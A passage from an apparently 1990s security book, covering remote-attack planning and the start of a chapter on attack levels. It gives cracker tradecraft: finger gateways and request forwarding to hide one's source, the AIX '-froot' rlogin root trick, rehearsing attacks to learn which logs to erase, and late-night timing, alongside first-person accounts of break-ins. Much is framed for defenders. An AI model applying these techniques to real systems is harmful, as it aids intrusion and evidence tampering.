his last login was \nfrom Netcom, he has an account on Netcom. Follow that ID for a day or so and see what \nsurfaces. \nAbout Finger Queries \nIn the previously referenced paper by Farmer and Venema (a phenomenal and \nrevolutionary document in terms of insight), one point is missed: The use of the finger \nutility can be a dangerous announcement of your activities. What if, for example, the \nsystem administrator is running MasterPlan? \n \nTIP: MasterPlan is a utility I discuss in Chapter 13, \"Techniques to Hide One's Identity.\" \nIts function is to trap and log all finger queries directed to the user; that is, MasterPlan \nwill identify the IP of the party doing the fingering, the time that such fingering took \nplace, the frequency of such fingering, and so forth. It basically attempts to gather as \nmuch information about the person fingering you as possible. Also, it is not necessary \nthat they use MasterPlan. The system administrator might easily have written his own \nhacked finger daemon, one that perhaps even traces the route back to the original \nrequesting party--or worse, fingers them in return. \n \nTo avoid the possibility of their finger queries raising any flags, most crackers use finger \ngateways. Finger gateways are Web pages, and they usually sport a single input field that \npoints to a CGI program on the drive of the remote server that performs finger lookup \nfunctions. In Figure 25.1, I have provided an example of one such finger gateway. (This \none is located at the University of Michigan Medical Center.) \nFIGURE 25.1. \nAn example of a finger gateway at the University of Michigan. \nBy using a finger gateway, the cracker can obscure his source address. That is, the finger \nquery is initiated by the remote system that hosts the finger gateway. (In other words, not \nthe cracker's own machine but some other machine.) True, an extremely paranoid system \nadministrator might track down the source address of that finger gateway; he might even \ncontact the administrator of the finger gateway site to have a look at the access log there. \nIn this way, he could identify the fingering party. That this would happen, however, is \nquite unlikely, especially if the cracker staggers his gateways. In other words, if the \ncracker intends to do any of this type of work \"by hand,\" he should really do each finger \nquery from a different gateway. Because there are 3,000+ finger gateways currently on \nthe Web, this is not an unreasonable burden. Furthermore, if I were doing the queries, I \nwould set them apart by several minutes (or ideally, several hours). \n \nNOTE: One technique involves the redirection of a finger request. This is where the \ncracker issues a raw finger request to one finger server, requesting information from \nanother. This is referred to as forwarding a finger request. The syntax of such a command \nis finger user@real_target.com@someother_host.com. For example, if \nyou wanted to finger a user at primenet.com, you might use deltanet.com's finger \nservice to forward the request. However, in today's climate, most system administrators \nhave finger forwarding turned off. \n" }, { "page_number": 468, "text": " \n \n \nThe Operating System \nYou may have to go through various methods (including but not limited to those \ndescribed in the preceding section) to identify the operating system and version being \nused on the target network. In earlier years, one could be pretty certain that the majority \nof machines on a target network ran similar software on similar hardware. Today, it is \nanother ball game entirely. Today, networks may harbor dozens of different machines \nwith disparate operating systems and architecture. One would think that for the cracker, \nthis would be a hostile and difficult-to-manage environment. Not so. \nThe more diverse your network nodes are (in terms of operating system and architecture), \nthe more likely it is that a security hole exists. There are reasons for this, and while I do \nnot intend to explain them thoroughly, I will relate at least this: Each operating system \nhas its own set of bugs. Some of these bugs are known, and some may be discovered over \ntime. In a relatively large network, where there may be many different types of machines \nand software, you have a better chance of finding a hole. The system administrator is, at \nday's end, only a human being. He cannot be constantly reviewing security advisories for \neach platform in turn. There is a strong chance that his security knowledge of this or that \nsystem is weak. \nIn any event, once having identified the various operating systems and architectures \navailable at the target, the next step is study. A checklist should be made that lists each \noperating system and machine type. This checklist will assist you tremendously as you go \nto the next step, which is to identify all known holes on that platform and understand \neach one. \n \nNOTE: Some analysts might make the argument that tools like ISS and SATAN will \nidentify all such holes automatically and, therefore, research need not be done. This is \nerroneous, for several reasons. First, such tools may not be complete in their assessment. \nHere is why: Although both of the tools mentioned are quite comprehensive, they are not \nperfect. For example, holes emerge each day for a wide range of platforms. True, both \ntools are extensible, and one can therefore add new scan modules, but the scanning tools \nthat you have are limited to the programmer's knowledge of the holes that existed at the \ntime of the coding of the application. \nTherefore, to make a new scanning module to be added to these extensible \nand malleable applications, you must first know that such new holes exist. \nSecond, and perhaps more importantly, simply knowing that a hole exists \ndoes not necessarily mean that you can exploit it--you must first \nunderstand it. (Unless, of course, the hole is an obvious and self-\nexplanatory one, such as the -froot rlogin problem on some versions of \nthe AIX operating system. By initiating an rlogin session with the -froot \nflags, you can gain instant privileged access on many older AIX-based \nmachines.) For these reasons, hauling off and running a massive scan is a \npremature move. \n \n" }, { "page_number": 469, "text": " \n \nTo gather this information, you will need to visit a few key sites. The first such site you \nneed to visit is the firewalls mailing list archive page. \n \nCross Reference: The firewalls mailing list archive page can be found online at \nhttp://www.netsys.com/firewalls/ascii-index.html. \n \nYou may initially wonder why this list would be of value, because the subject discussed \nis firewall-related. (Remember, we began this chapter with the presumption that the target \nwas not running a firewall.) The firewalls list archive is valuable because it is often used-\n-over the objections of many list members--to discuss other security-related issues. \nAnother invaluable source of such data is BUGTRAQ, which is a searchable archive of \nknown vulnerabilities on various operating systems (though largely UNIX.) \n \nCross Reference: BUGTRAQ is located online at http://www.geek-\ngirl.com/bugtraq/search.html. \n \nThese searchable databases are of paramount importance. A practical example will help \ntremendously at this point. Suppose that your target is a machine running AIX. First, you \nwould go to the ARC Searchable WAIS Gateway for DDN and CERT advisories. \n \nCross Reference: The ARC Searchable WAIS Gateway for DDN and CERT advisories \ncan be found online at \nhttp://info.arc.com/sec_bull/sec_bullsearch.html. \n \nFigure 25.2 shows how the WAIS gateway at this site is configured. \nFIGURE 25.2. \nThe WAIS gateway at ARC.COM for searching security advisories. \nAt the bottom of that page is an input field. Into it, I entered the search term AIX. The \nresults of that search produced a laundry list of AIX vulnerabilities. (See Figure 25.3.) \nFIGURE 25.3. \nA laundry list of AIX vulnerabilities from the WAIS gateway. \nAt this stage, you can begin to do some research. After reading the initial advisory, if \nthere is no more information than a simple description of the vulnerability, do not \ndespair. You just have to go to the next level. The next phase is a little bit more complex. \nAfter identifying the most recent weakness (and having read the advisory), you must \nextract from that advisory (and all that follow it) the commonly used, often abbreviated, \nor \"jargon,\" name for the hole. For example, after a hole is discovered, it is often referred \nto by security folks with a name that may not reflect the entire problem. (An example \nwould be \"the Linux telnetd problem\" or \"AIX's froot hole\" or some other, brief term by \nwhich the hole becomes universally identified.) The extraction process is quickly done by \ntaking the ID number of the advisory and running it through one of the abovementioned \narchives like BUGTRAQ or Firewalls. Here is why: \n" }, { "page_number": 470, "text": " \n \nTypically, when a security professional posts either an exploit script, a tester script (tests \nto see if the hole exists) or a commentary, they will almost always include complete \nreferences to the original advisory. Thus, you will see something similar to this in their \nmessage: Here's a script to test if you are vulnerable to the talkd \nproblem talked about in CA-97.04.. \nThis message is referring to CERT Advisory number 97.04, which was first issued on \nJanuary 27, 1997. By using this number as a search expression, you will turn up all \nreferences to it. After reading 10 or 12 results from such a search, you will know what the \nsecurity crowd is calling that hole. After you have that, you can conduct an all-out search \nin all legitimate and underground database sources to get every shred of information \nabout the hole. You are not looking for initial postings in particular, but subsequent, \ntrailing ones. (Some archives have an option where you can specify a display by thread; \nthese are preferred. This allows you to see the initial posting and all subsequent postings \nabout that original message; that is, all the \"re:\" follow-ups.) However, some search \nengines do not provide for an output in threaded form; therefore, you will simply have to \nrake through them by hand. \nThe reason that you want these follow-ups is because they usually contain exploit or test \nscripts (programs that automatically test or simulate the hole). They also generally \ncontain other technical information related to the hole. For example, one security officer \nmight have found a new way to implement the vulnerability, or might have found that an \nassociated program (or include file or other dependency) may be the real problem or even \na great contributor to the hole. The thoughts and reflections of these individuals are pure \ngold, particularly if the hole is a new one. These individuals are actually doing all the \nwork for you: analyzing and testing the hole, refining attacks against it, and so forth. \n \nTIP: Many exploit and test scripts are posted in standard shell or C language and are \ntherefore a breeze to either reconfigure for your own system or compile for your \narchitecture. In most instances, only minimal work has to be done to make them work on \nyour platform. \n \nSo, to this point, you have defined a portion (or perhaps all) of the following chief points: \n• \nWho the administrator is \n• \nThe machines on the network, and perhaps their functions and domain servers \n• \nTheir operating systems \n• \nTheir probable holes \n• \nAny discussion by the administrator about the topology, management, policies, construction, or \nadministration of the network \nNow you can proceed to the next step. \n" }, { "page_number": 471, "text": " \n \nOne point of interest: It is extremely valuable if you can also identify machines that may \nbe co-located. This is, of course, strictly in cases where the target is an Internet service \nprovider (ISP). ISPs often offer deals for customers to co-locate a machine on their wire. \nThere are certain advantages to this for the customer. One of them is cost. If the provider \noffers to co-locate a box on its T3 for, say, $600 a month, this is infinitely less expensive \nthan running a machine from your own office that hooks into a T1. A T1 runs about \n$900-$1,200 monthly. You can see why co-location is popular: You get speeds far faster \nfor much less money and headache. For the ISP, it is nothing more than plugging a box \ninto its Ethernet system. Therefore, even setup and administration costs are lower. And, \nperhaps most importantly of all, it takes the local telephone company out of the loop. \nThus, you cut even more cost, and you can establish a server immediately instead of \nwaiting six weeks. \nThese co-located boxes may or may be not be administrated by the ISP. If they are not, \nthere is an excellent chance that these boxes may either have (or later develop) holes. \nThis is especially likely if the owner of the box employs a significant amount of CGI or \nother self-designed program modules that the ISP has little or no control over. By \ncompromising that box, you have an excellent chance of bringing the entire network \nunder attack, unless the ISP has purposefully strung the machine directly to its own \nrouter, a hub (or instituted some other procedure of segmenting the co-located boxes from \nthe rest of the network.) \n \nNOTE: This can be determined to some degree using traceroute or whois services. In the \ncase of traceroute, you can identify the position of the machine on the wire by examining \nthe path of the traced route. In a whois query, you can readily see whether the box has its \nown domain server or whether it is using someone else's (an ISP's). \n \nDoing a Test Run \nThe test-run portion of the attack is practical only for those individuals who are serious \nabout cracking. Your average cracker will not undertake such activity, because it involves \nspending a little money. However, if I were counseling a cracker, I would recommend it. \nThis step involves establishing a single machine with the identical distribution as the \ntarget. Thus, if the target is a SPARCstation 2 running Solaris 2.4, you would erect an \nidentical machine and string it to the Net via any suitable method (by modem, ISDN, \nFrame Relay, T1, or whatever you have available). After you have established the \nmachine, run a series of attacks against it. There are two things you are looking for: \n• \nWhat the attacks are going to look like from the attacking side \n• \nWhat the attacks will look like from the victim's side \nThere are a number of reasons for this, and some are not so obvious. In examination of \nthe logs on the attacking side, the cracker can gain an idea of what the attack should look \nlike if his target is basically unprotected--in other words, if the target is not running \ncustom daemons. This provides the cracker a little road map to go by; certainly, if his \nultimate scan and attack of the target do not look nearly identical, this is cause for \n" }, { "page_number": 472, "text": " \n \nconcern. All things being equal, an identically configured machine (or, I should say, an \napparently identically configured machine) should respond identically. If it does not, the \nfolks at the target have something up their sleeve. In this instance, the cracker would be \nwise to tread carefully. \nBy examining the victim-side logs, the cracker can get a look at what his footprint will \nlook like. This is also important to know. On diverse platforms, there are different \nlogging procedures. The cracker should know at a minimum exactly what these logging \nprocedures are; that is, he needs to know each and every file (on the identically \nconfigured machine) that will show evidence of an intrusion. This information is \nparamount, because it serves as a road map also: It shows him exactly what files have to \nbe altered to erase any evidence of his attack. The only way to identify these files for \ncertain is to conduct a test under a controlled environment and examine the logs for \nthemselves. \nIn actual attacks, there should be only a few seconds (or minutes at most) before root (or \nsome high level of privilege) is obtained. Similarly, it should be only seconds thereafter \n(or minutes at worst) before evidence of that intrusion is erased. For the cracker, any \nother option is a fatal one. They may not suffer from it in the short run, but in the long \nrun, they will end up in handcuffs. \nThis step is not as expensive as you would think. There are newsgroups (most notably, \nmisc.forsale.computers.workstation) where one can obtain the identical machine \n(or a close facsimile) for a reasonable price. Generally, the seller of such a machine will \nload a full version of the operating system \"for testing purposes only.\" This is their way \nof saying \"I will give you the operating system, which comes without a license and \ntherefore violates the license agreement. If you keep it and later come under fire from the \nvendor, you are on your own.\" \nEven licensed resellers will do this, so you can end up with an identical machine without \ngoing to too much expense. (You can also go to defense contracting firms, many of \nwhich auction off their workstations for a fraction of their fair market value. The only bar \nhere is that you must have the cash ready; you generally only get a single shot at a bid.) \nOther possibilities include having friends set up such a box at their place of work or even \nat a university. All you really need are the logs. I have always thought that it would be a \ngood study practice to maintain a database of such logs per operating system per attack \nand per scanner--in other words, have a library of what such attacks look like, given the \naforementioned variables. This, I think, would be a good training resource for new \nsystem administrators, something like \"This is what a SS4 looks like when under attack \nby someone using ISS. These are the log files you need to look for and this is how they \nwill appear.\" \nSurely, a script could be fashioned (perhaps an automated one) that would run a \ncomparative analysis against the files on your workstation. This process could be done \nonce a day as a cron job. It seems to me that at least minimal intrusion-detection systems \ncould be designed this way. Such tools do exist, but have been criticized by many \nindividuals because they can be \"fooled\" too easily. There is an excellent paper that treats \n" }, { "page_number": 473, "text": " \n \nthis subject, at least with respect to SunOS. It is titled USTAT: A Real Time Intrusion \nDetection System for UNIX. (This paper was, in fact, a thesis for the completion of a \nmaster's in computer science at the University of Santa Barbara, California. It is very \ngood.) In the abstract, the author writes: \nIn this document, the development of the first USTAT prototype, which is for SunOS 4.1.1, is \ndescribed. USTAT makes use of the audit trails that are collected by the C2 Basic Security \nModule of SunOS, and it keeps track of only those critical actions that must occur for the \nsuccessful completion of the penetration. This approach differs from other rule-based penetration \nidentification tools that pattern match sequences of audit records. \n \nCross Reference: The preceding paragraph is excerpted from USTAT: A Real Time \nIntrusion Detection System for UNIX by Koral Ilgun. It can be found online at \nftp://coast.cs.purdue.edu/pub/doc/intrusion_detection/ustat.\nps.gz \n \nAlthough we proceeded under the assumption that the target network was basically an \nunprotected, out-of-the-box install, I thought I should mention tools like the one \ndescribed in the paper referenced previously. The majority of such tools have been \nemployed on extremely secure networks--networks often associated with classified or \neven secret or top-secret work. \nAnother interesting paper lists a few of these tools and makes a brief analysis of each. It \ndiscusses how \nComputer security officials at the system level have always had a challenging task when it comes \nto day-to-day mainframe auditing. Typically the auditing options/features are limited by the \nmainframe operating system and other system software provided by the hardware vendor. Also, \nsince security auditing is a logical subset of management auditing, some of the available auditing \noptions/features may be of little value to computer security officials. Finally, the relevant auditing \ninformation is probably far too voluminous to process manually and the availability of automated \ndata reduction/analysis tools is very limited. Typically, 95% of the audit data is of no security \nsignificance. The trick is determining which 95% to ignore. \n \nCross Reference: The previous paragraph is excerpted from Summary of the Trusted \nInformation Systems (TIS) Report on Intrusion Detection Systems, prepared by Victor H. \nMarshall, Systems Assurance Team Leader, Booz, Allen & Hamilton Inc. This document \ncan be found online at \nftp://coast.cs.purdue.edu/pub/doc/intrusion_detection/audito\nol.txt.Z \n \nIn any event, this \"live\" testing technique should be primarily employed where there is a \nsingle attack point. Typical situations are where you suspect that one of the workstations \nis the most viable target (where perhaps the others will refuse all connections from \noutside the subnet and so forth). Obviously, I am not suggesting that you erect an exact \nmodel of the target network; that could be cost and time prohibitive. What I am \nsuggesting is that in coordination of a remote attack, you need to have (at a minimum) \nsome idea of what is supposed to happen. Simulating that attack on a host other than the \ntarget is a wise thing to do. Otherwise, there is no guarantee that you can even marginally \nensure that the data you receive back has some integrity. Bellovin's paper on Berferd \nshould be a warning to any cracker that a simulation of a vulnerable network is not out of \nthe question. In fact, I have wondered many times why security technologies have not \n" }, { "page_number": 474, "text": " \n \nfocused entirely on this type of technique, especially since scanners have become so \npopular. \nWhat is the difficulty in a system administrator creating his own such system on the fly? \nHow difficult would it be for an administrator to write custom daemons (on a system \nwhere the targeted services aren't even actually running) that would provide the cracker \nwith bogus responses? Isn't this better than announcing that you have a firewall (or \nTCP_WRAPPER), therefore alerting the attacker to potential problems? Never mind passive \nport-scanning utilities, let's get down to the nitty-gritty: This is how to catch a cracker--\nwith a system designed exclusively for the purpose of creating logs that demonstrate \nintent. This, in my opinion, is where some new advances ought to be made. These types \nof systems offer automation to the process of evidence gathering. \nThe agencies that typically utilize such tools are few. Mostly, they are military \norganizations. An interesting document is available on the Internet in regard to military \nevaluations and intrusion detection. What is truly interesting about the document is the \nflair with which it is written. For instance, sample this little excerpt: \nFor 20 days in early spring 1994, Air Force cybersleuths stalked a digital delinquent raiding \nunclassified computer systems at Griffiss AFB, NY. The investigators had staked out the crime \nscene--a small, 12-by-12-foot computer room in Rome Laboratory's Air Development Center--for \nweeks, surviving on Jolt cola, junk food and naps underneath desks. Traps were set by the Air \nForce Information Warfare Center to catch the bandit in the act, and `silent' alarms sounded each \ntime their man slinked back to survey his handiwork. The suspect, who dubbed himself `Data \nStream,' was blind to the surveillance, but despite this, led pursuers on several high-speed chases \nthat don't get much faster--the speed of light. The outlaw was a computer hacker zipping along the \nethereal lanes of the Internet, and tailing him was the information superhighway patrol--the Air \nForce Office of Special Investigations computer crime investigations unit. \n \nCross Reference: The previous paragraph is excerpted from \"Hacker Trackers: OSI \nComputer Cops Fight Crime On-Line\" by Pat McKenna. It can be found online at \nhttp://www.af.mil/pa/airman/0496/hacker.htm. \n \nThe document doesn't give as much technical information as one would want, but it is \nquite interesting, all the same. Probably a more practical document for the legal \npreservation of information in the investigation of intrusions is one titled \"Investigating \nand Prosecuting Network Intrusions.\" It was authored by John C. Smith, Senior \nInvestigator in the Computer Crime Unit of the Santa Clara County District Attorney's \nOffice. \n \nCross Reference: \"Investigating and Prosecuting Network Intrusions\" can be found \nonline at \nhttp://www.eff.org/pub/Legal/scda_cracking_investigation.pap\ner. \n \nIn any event, as I have said, at least some testing should be done beforehand. That can \nonly be done by establishing a like box with like software. \nTools: About Holes and Other Important Features \n" }, { "page_number": 475, "text": " \n \nNext, you need to assemble the tools you will actually use. These tools will most \nprobably be scanners. You will be looking (at a minimum) to identify all services now \nrunning on the target. Based on your analysis of the operating system (as well as the other \nvariables I've mentioned in this chapter), you will need to evaluate your tools to \ndetermine what areas or holes they do not cover. \nIn instances where a particular service is covered by one tool but not another, it is best to \nintegrate the two tools together. The ease of integration of such tools will depend largely \non whether these tools can simply be attached as external modules to a scanner like \nSATAN or SAFESuite. Again, here the use of a test run can be extremely valuable; in \nmost instances, you cannot simply attach an external program and have it work \nflawlessly. \nTo determine the exact outcome of how all these tools will work in concert, it is best to \ndo this at least on some machine (even if it is not identical to the target). That is because, \nhere, we are concerned with whether the scan will be somehow interrupted or corrupted \nas the result of running two or more modules of disparate design. Remember that a real-\ntime scanning attack should be done only once. If you screw it up, you might not get a \nsecond chance. \nSo, you will be picking your tools (at least for the scan) based on what you can \nreasonably expect to find at the other end. In some cases, this is an easy job. For example, \nperhaps you already know that someone on the box is running X Window System \napplications across the Net. (Not bloody likely, but not unheard of.) In that case, you will \nalso be scanning for xhost problems, and so it goes. \nRemember that a scanner is a drastic solution. It is the equivalent of running up to an \noccupied home with a crowbar in broad daylight, trying all the doors and windows. If the \nsystem administrator is even moderately tuned into security issues, you have just \nannounced your entire plan. \n \nTIP: There are some measures you can take to avoid that announcement, but they are \ndrastic: You can actually institute the same security procedures that other networks do, \nincluding installing software (sometimes a firewall and sometimes not) that will refuse to \nreport your machine's particulars to the target. There are serious problems with this type \nof technique, however, as they require a high level of skill. (Also, many tools will be \nrendered useless by instituting such techniques. Some tools are designed so that one or \nmore functions require the ability to go out of your network, through the router, and back \ninside again.) \n \nAgain, however, we are assuming here that the target is not armored; it's just an average \nsite, which means that we needn't stress too much about the scan. Furthermore, as Dan \nFarmer's recent survey suggests, scanning may not be a significant issue anyway. \nAccording to Farmer (and I have implicit faith in his representations, knowing from \npersonal experience that he is a man of honor), the majority of networks don't even notice \nthe traffic: \n...no attempt was made to hide the survey, but only three sites out of more than two thousand \ncontacted me to inquire what was going on when I performed the unauthorized survey (that's a bit \n" }, { "page_number": 476, "text": " \n \nover one in one thousand questioning my activity). Two were from the normal survey list, and one \nwas from my random group. \n \nCross Reference: The preceding paragraph is excerpted from the introduction of Shall \nWe Dust Moscow? by Dan Farmer. This document can be found online at \nhttp://www.trouble.org/survey/introduction.html \n \nThat scan involved over 2,000 hosts, the majority of which were fairly sensitive sites (for \nexample, banks). You would expect that these sites would be ultra-paranoid, filtering \nevery packet and immediately jumping on even the slightest hint of a scan. \nDeveloping an Attack Strategy \nThe days of roaming around the Internet, cracking this and that server are basically over. \nYears ago, compromising the security of a system was viewed as a minor transgression as \nlong as no damage was done. Today, the situation is different. Today, the value of data is \nbecoming an increasingly talked-about issue. Therefore, the modern cracker would be \nwise not to crack without a reason. Similarly, he would be wise to set forth cracking a \nserver only with a particular plan. \nThe only instance in which this does not apply is where the cracker is either located in a \nforeign state that has no specific law against computer intrusion (Berferd again) or one \nthat provides no extradition procedure for that particular offense (for example, the NASA \ncase involving a student in Argentina). All other crackers would be wise to tread very \ncautiously. \nYour attack strategy may depend on what you are wanting to accomplish. We will \nassume, however, that the task at hand is basically nothing more than compromise of \nsystem security. If this is your plan, you need to lay out how the attack will be \naccomplished. The longer the scan takes (and the more machines that are included within \nit), the more likely it is that it will be immediately discovered. Also, the more scan data \nthat you have to sift through, the longer it will take to implement an attack based upon \nthat data. The time that elapses between the scan and the actual attack, as I've mentioned, \nshould be short. \nSome things are therefore obvious (or should be). If you determine from all of your data \ncollection that certain portions of the network are segmented by routers, switches, \nbridges, or other devices, you should probably exclude those from your scan. After all, \ncompromising those systems will likely produce little benefit. Suppose you gained root \non one such box in a segment. How far do you think you could get? Do you think that \nyou could easily cross a bridge, router, or switch? Probably not. Therefore, sniffing will \nonly render relevant information about the other machines in the segment, and spoofing \nwill likewise work (reliably) only against those machines within the segment. Because \nwhat you are looking for is root on the main box (or at least, within the largest network \nsegment available), it is unlikely that a scan on smaller, more secure segments would \nprove to be of great benefit. \n \n" }, { "page_number": 477, "text": " \n \nNOTE: Of course, if these machines (for whatever reason) happen to be the only ones \nexposed, by all means, attack them (unless they are completely worthless). For example, \nit is a common procedure to place a Web server outside the network firewall or make that \nmachine the only one accessible from the void. Unless the purpose of the exercise is to \ncrack the Web server (and cause some limited, public embarrassment to the owners of the \nWeb box), why bother? These machines are typically \"sacrificial\" hosts--that is, the \nsystem administrator has anticipated losing the entire machine to a remote attack, so the \nmachine has nothing of import upon its drives. Nothing except Web pages, that is. \n \nIn any event, once you have determined the parameters of your scan, implement it. \nA Word About Timing Scans \nWhen should you implement a scan? The answer to this is really \"never.\" However, if \nyou are going to do it, I would do it late at night relative to the target. Because it is going \nto create a run of connection requests anyway (and because it would take much longer if \nimplemented during high-traffic periods), I think you might as well take advantage of the \ngraveyard shift. The shorter the time period, the better off you are. \nAfter the Scan \nAfter you have completed the scan, you will be subjecting the data to analysis. The first \nissue you want to get out of the way is whether the information is even authentic. (This, \nto some degree, is established from your sample scans on a like machine with the like \noperating system distribution.) \nAnalysis is the next step. This will vary depending upon what you have found. Certainly, \nthe documents included in the SATAN distribution can help tremendously in this regard. \nThose documents (tutorials about vulnerabilities) are brief, but direct and informative. \nThey address the following vulnerabilities: \n• \nFTP vulnerabilities \n• \nNFS export to unprivileged programs \n• \nNFS export via portmapper \n• \nNIS password file access \n• \nREXD access \n• \nSATAN password disclosure \n• \nSendmail vulnerabilities \n• \nTFTP file access \n• \nRemote shell access \n• \nUnrestricted NFS export \n• \nUnrestricted X server access \n" }, { "page_number": 478, "text": " \n \n• \nUnrestricted modem \n• \nWriteable FTP home directory \nIn addition to these pieces of information, you should apply any knowledge that you have \ngained through the process of gathering information on the specific platform and \noperating system. In other words, if a scanner reports a certain vulnerability (especially a \nnewer one), you should refer back to the database of information that you have already \nbuilt from raking BUGTRAQ and other searchable sources. \nThis is a major point: There is no way to become either a master system administrator or \na master cracker overnight. The hard truth is this: You may spend weeks studying source \ncode, vulnerabilities, a particular operating system, or other information before you truly \nunderstand the nature of an attack and what can be culled from it. Those are the breaks. \nThere is no substitute for experience, nor is there a substitute for perseverance or \npatience. If you lack any of these attributes, forget it. \nThat is an important point to be made here. Whether we are talking about individuals like \nKevin Mitnik (cracker) or people like Weitse Venema (hacker), it makes little difference. \nTheir work and their accomplishments have been discussed in various news magazines \nand online forums. They are celebrities within the Internet security (and in some cases, \nbeyond). However, their accomplishments (good or bad) resulted from hard work, study, \ningenuity, thought, imagination, and self-application. Thus, no firewall will save a \nsecurity administrator who isn't on top of it, nor will SATAN help a newbie cracker to \nunlawfully breach the security of a remote target. That's the bottom line. \nSummary \nRemote attacks are becoming increasingly common. As discussed in several earlier \nchapters, the ability to run a scan has become more within the grasp of the average user. \nSimilarly, the proliferation of searchable vulnerability indexes have greatly enhanced \none's ability to identify possible security issues. \nSome individuals suggest that the free sharing of such information is itself contributing to \nthe poor state of security on the Internet. That is incorrect. Rather, system administrators \nmust make use of such publicly available information. They should, technically, perform \nthe procedures described here on their own networks. It is not so much a matter of cost as \nit is time. \nOne interesting phenomenon is the increase in tools to attack Windows NT boxes. Not \njust scanning tools, either, but sniffers, password grabbers, and password crackers. In \nreference to remote attack tools, though, the best tool available for NT is SAFEsuite by \nInternet Security Systems (ISS). It contains a wide variety of tools, although the majority \nwere designed for internal security analysis. \nFor example, consider the Intranet Scanner, which assesses the internal security of a \nnetwork tied to a Microsoft Windows NT server. Note here that I write only that the \nnetwork is tied to the NT server. This does not mean that all machines on the network \nmust run NT in order for the Intranet Scanner to work. Rather, it is designed to assess a \n" }, { "page_number": 479, "text": " \n \nnetwork that contains nodes of disparate architecture and operating systems. So, you \ncould have boxes running Windows 95, UNIX, or potentially other operating systems \nrunning TCP/IP. The title of the document is \"Security Assessment in the Windows NT \nEnvironment: A White Paper for Network Security Professionals.\" It discusses the many \nfeatures of the product line and a bit about Windows NT security in general. \n \nCross Reference: To get a better idea of what Intranet Scanner offers, check out \nhttp://eng.iss.net/prod/winnt.html. \n \nSpecific ways to target specific operating systems (as in \"How To\" sections) are beyond \nthe scope of this book, not because I lack the knowledge but because it could take \nvolumes to relate. To give you a frame of reference, consider this: The Australian CERT \n(AUSCERT) UNIX Security Checklist consists of at least six pages of printed \ninformation. The information is extremely abbreviated and is difficult to interpret by \nanyone who is not well versed in UNIX. Taking each point that AUSCERT raises and \nexpanding it into a detailed description and tutorial would likely create a 400-page book, \neven if the format contained simple headings such as Daemon, Holes, Source, Impact, \nPlatform, Examples, Fix, and so on. (That document, by the way, discussed elsewhere \nin this book, is the definitive list of UNIX security vulnerabilities. It is described in detail \nin Chapter 17, \"UNIX: The Big Kahuna.\") \nIn closing, a well-orchestrated and formidable remote attack is not the work of some half-\ncocked cracker. It is the work of someone with a deep understanding of the system--\nsomeone who is cool, collected, and quite well educated in TCP/IP. (Although that \neducation may not have come in a formal fashion.) For this reason, it is a shame that \ncrackers usually come to such a terrible end. One wonders why these talented folks turn \nto the dark side. \nI know this, though: It has nothing to do with money. There are money-oriented crackers, \nand they are professionals. But the hobbyist cracker is a social curiosity--so much talent \nand so little common sense. It is extraordinary, really, for one incredible reason: It was \ncrackers who spawned most of the tools in this book. Their activities gave rise to the \nmore conventional (and more talented) computing communities that are coding special \nsecurity applications. Therefore, the existence of specialized tools is really a monument \nto the cracking community. They have had a significant impact, and one such impact was \nthe development of the remote attack. The technique not only exists because of these \ncurious people, but also grows in complexity because of them. \n" }, { "page_number": 480, "text": " \n \n26 \nLevels of Attack \nThis chapter examines various levels of attack. An attack is any unauthorized action \nundertaken with the intent of hindering, damaging, incapacitating, or breaching the \nsecurity of your server. Such an attack might range from a denial of service to complete \ncompromise and destruction of your server. The level of attack that is successful against \nyour network depends on the security you employ. \nWhen Can an Attack Occur? \nAn attack can occur any time your network is connected to the Internet. Because most \nnetworks are connected 24 hours a day, that means attacks can occur at any time. \nNonetheless, there are some conventions that you can expect attackers to follow. \nThe majority of attacks occur (or at least commence) late at night relative to the position \nof the server. That is, if you are in Los Angeles and your attacker is in London, the attack \nwill probably occur during the late night-early morning hours Los Angeles time. You \nmight think that crackers would work during the day (relative to the target) because the \nheavy traffic might obscure their activity. There are several reasons, however, why \ncrackers avoid such times: \n• \nPracticality--The majority of crackers hold jobs, go to school, or spend time in other environments \nduring the day that may preclude cracking. That is, these characters do more than spend time in \nfront of a machine all day. This differs from the past, when most crackers were kids at home, with \nnothing to do. \n• \nSpeed--The network is becoming more and more congested. Therefore, it is often better to work \nduring times that offer fast packet transport. These windows depend largely on geographical \nlocation. Someone in the southwestern United States who is attacking a machine in London would \nbest conduct their affairs between 10:00 p.m. and 12:00 a.m. local time. Playing the field slightly \nearlier will catch local traffic (people checking their mail before bed, users viewing late news, and \nso on). Working much later will catch Netizens of the UK waking up to check their e-mail. Going \nout through Mae East (the largest and busiest Internet exchange gateway) in the early morning \nhours may be fast, but once across the Atlantic, speed dies off quickly. Anyone who stays up all \nnight surfing the Net will confirm this. Once you hit the morning e-mail check, the Net grinds to a \nhalt. Try it sometime, even locally. At 4:00 a.m. things are great. By 7:00 a.m., you will be \npraying for a T3 (or SONET). \n• \nStealth--Suppose for a moment that a cracker finds a hole. Suppose further that it is 11:00 a.m. and \nthree system administrators are logged on to the network. Just what type of cracking do you \nsuppose can be done? Very little. Sysads are quick to track down bizarre behavior if they are there \nto witness it. I once had a system administrator track me down immediately after I grabbed her \npassword file. She was in Canada and I was in Los Angeles. She issued me a talk instruct before I \ncould even cut the line. We had a lovely, albeit short, conversation. This also happened once when \nI broke into a server in Czechoslovakia. The lady there had a Sun and an SGI. I cracked the SGI. \nThe conversation there was so good, I stayed connected. We discussed her security and she \nactually gave me an account on an old SPARC at her university. The account probably still exists. \n" }, { "page_number": 481, "text": " \n \nFavorite targets of crackers are machines with no one on them. For a time, I used a \nworkstation in Japan to launch my attacks because no one ever seemed to be logged in. I \nTelnetted out of that machine, back into the United States. I found a similar situation with \na new ISP in Rome. (I can say no more, because they will definitely remember me and \nmy identity will be blown. They actually told me that if I ever came to hack in Italy, I \nshould look them up!) \nWith such machines, you can temporarily take over, setting things to your particular \ntastes. Moreover, you have plenty of time to alter the logs. So be advised: Most of this \nactivity happens at night relative to your geographical location. \n \nTIP: If you have been doing heavy logging and you have only limited time and resources \nto conduct analysis of those logs, I would concentrate more on the late night connection \nrequests. These portions of your logs will undoubtedly produce interesting and bizarre \ninformation. \n \nWhat Operating Systems Do Crackers Use? \nOperating systems used by crackers vary. Macintosh is the least likely platform for a \ncracker; there simply aren't enough tools available for MacOS, and the tools needed are \ntoo much trouble to port. UNIX is the most likely platform and of that class, probably \nFreeBSD or Linux. \nThe most obvious reason for this is cost. For the price of a $39 book on Linux (with the \naccompanying CD-ROM), a cracker gets everything he could ever need in the way of \ntools: C, C++, Smalltalk, Perl, TCP/IP, and much more. Moreover, he gets the full source \ncode to his operating system. \nThis cost issue is not trivial. Even older workstations can be expensive. Your money will 